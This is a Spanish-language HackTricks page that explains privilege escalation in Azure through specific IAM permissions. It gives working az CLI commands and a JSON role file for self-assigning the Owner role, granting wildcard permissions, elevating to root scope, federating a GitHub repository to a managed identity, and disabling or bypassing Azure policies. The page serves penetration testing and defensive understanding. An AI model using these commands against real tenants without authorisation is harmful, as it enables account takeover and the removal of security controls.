Az - Azure IAM Privesc (Autorización)

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Azure IAM

Para más información consulta:

Az - Entra ID (AzureAD) & Azure IAM

Microsoft.Authorization/roleAssignments/write

Este permiso permite asignar roles a principals sobre un scope específico, lo que permite a un atacante escalar privilegios asignándose a sí mismo un rol más privilegiado:

# Example
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"

Microsoft.Authorization/roleDefinitions/Write

Este permiso permite modificar los permisos otorgados por un role, permitiendo a un atacante escalar privilegios al conceder más permisos a un role que él mismo ha asignado.

Crea el archivo role.json con el siguiente contenido:

{
"roleName": "<name of the role>",
"Name": "<name of the role>",
"IsCustom": true,
"Description": "Custom role with elevated privileges",
"Actions": ["*"],
"NotActions": [],
"DataActions": ["*"],
"NotDataActions": [],
"AssignableScopes": ["/subscriptions/<subscription-id>"],
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>",
}

Luego actualiza los permisos del rol con la definición anterior llamando:

az role definition update --role-definition role.json

Microsoft.Authorization/elevateAccess/action

Este permiso permite elevar privilegios y poder asignar permisos a cualquier principal sobre recursos de Azure. Está pensado para otorgarse a Entra ID Global Administrators para que también puedan gestionar permisos sobre recursos de Azure.

Tip

Creo que el usuario necesita ser Global Administrator en Entra ID para que la llamada elevate funcione.

# Call elevate
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"

# Grant a user the Owner role
az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"

Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write

Este permiso permite añadir Federated credentials a managed identities. Por ejemplo, dar acceso a Github Actions en un repo a una managed identity. Además, permite acceder a cualquier managed identity definida por el usuario.

Comando de ejemplo para dar acceso a un repo en Github a una managed identity:

# Generic example:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'

# Example with specific data:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'

Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete

Un atacante con el permiso Microsoft.Authorization/policyAssignments/write o Microsoft.Authorization/policyAssignments/delete sobre un management group, subscription, o resource group puede modificar o eliminar asignaciones de políticas de Azure, potencialmente deshabilitando restricciones de seguridad que bloquean operaciones específicas.

Esto permite el acceso a recursos o funcionalidades que previamente estaban protegidos por la política.

Eliminar una asignación de política:

az policy assignment delete \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"

Deshabilitar una asignación de directiva:

az policy assignment update \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>" \
--enforcement-mode Disabled

Verifica los cambios:

# List policy assignments
az policy assignment list \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"

# Show specific policy assignment details
az policy assignment show \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"

Microsoft.Authorization/policyDefinitions/write

Un atacante con el permiso Microsoft.Authorization/policyDefinitions/write puede modificar Azure policy definitions, cambiando las reglas que controlan las restricciones de seguridad en todo el entorno.

Por ejemplo, una policy que limita las regiones permitidas para crear recursos puede modificarse para permitir cualquier región, o el efecto de la policy puede cambiarse para hacerla inefectiva.

Modificar una policy definition:

az policy definition update \
--name "<policyDefinitionName>" \
--rules @updated-policy-rules.json

Verifica los cambios:

az policy definition list --output table

az policy definition show --name "<policyDefinitionName>"

Microsoft.Management/managementGroups/write

Un atacante con el permiso Microsoft.Management/managementGroups/write puede modificar la estructura jerárquica de management groups o crear nuevos management groups, potencialmente eludiendo políticas restrictivas aplicadas en niveles superiores.

Por ejemplo, un atacante puede crear un nuevo management group sin políticas restrictivas y luego mover subscriptions a este.

Crear un nuevo management group:

az account management-group create \
--name "yourMGname" \
--display-name "yourMGDisplayName"

Modificar la jerarquía de grupos de administración:

az account management-group update \
--name "<managementGroupId>" \
--parent "/providers/Microsoft.Management/managementGroups/<parentGroupId>"

Verifica los cambios:

az account management-group list --output table

az account management-group show \
--name "<managementGroupId>" \
--expand

Microsoft.Management/managementGroups/subscriptions/write

Un atacante con el permiso Microsoft.Management/managementGroups/subscriptions/write puede mover suscripciones entre grupos de administración, potencialmente eludir políticas restrictivas moviendo una suscripción a un grupo con políticas menos restrictivas o sin políticas.

Mover una suscripción a un grupo de administración diferente:

az account management-group subscription add \
--name "<managementGroupName>" \
--subscription "<subscriptionId>"

Verificar los cambios:

az account management-group subscription show \
--name "<managementGroupId>" \
--subscription "<subscriptionId>"

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks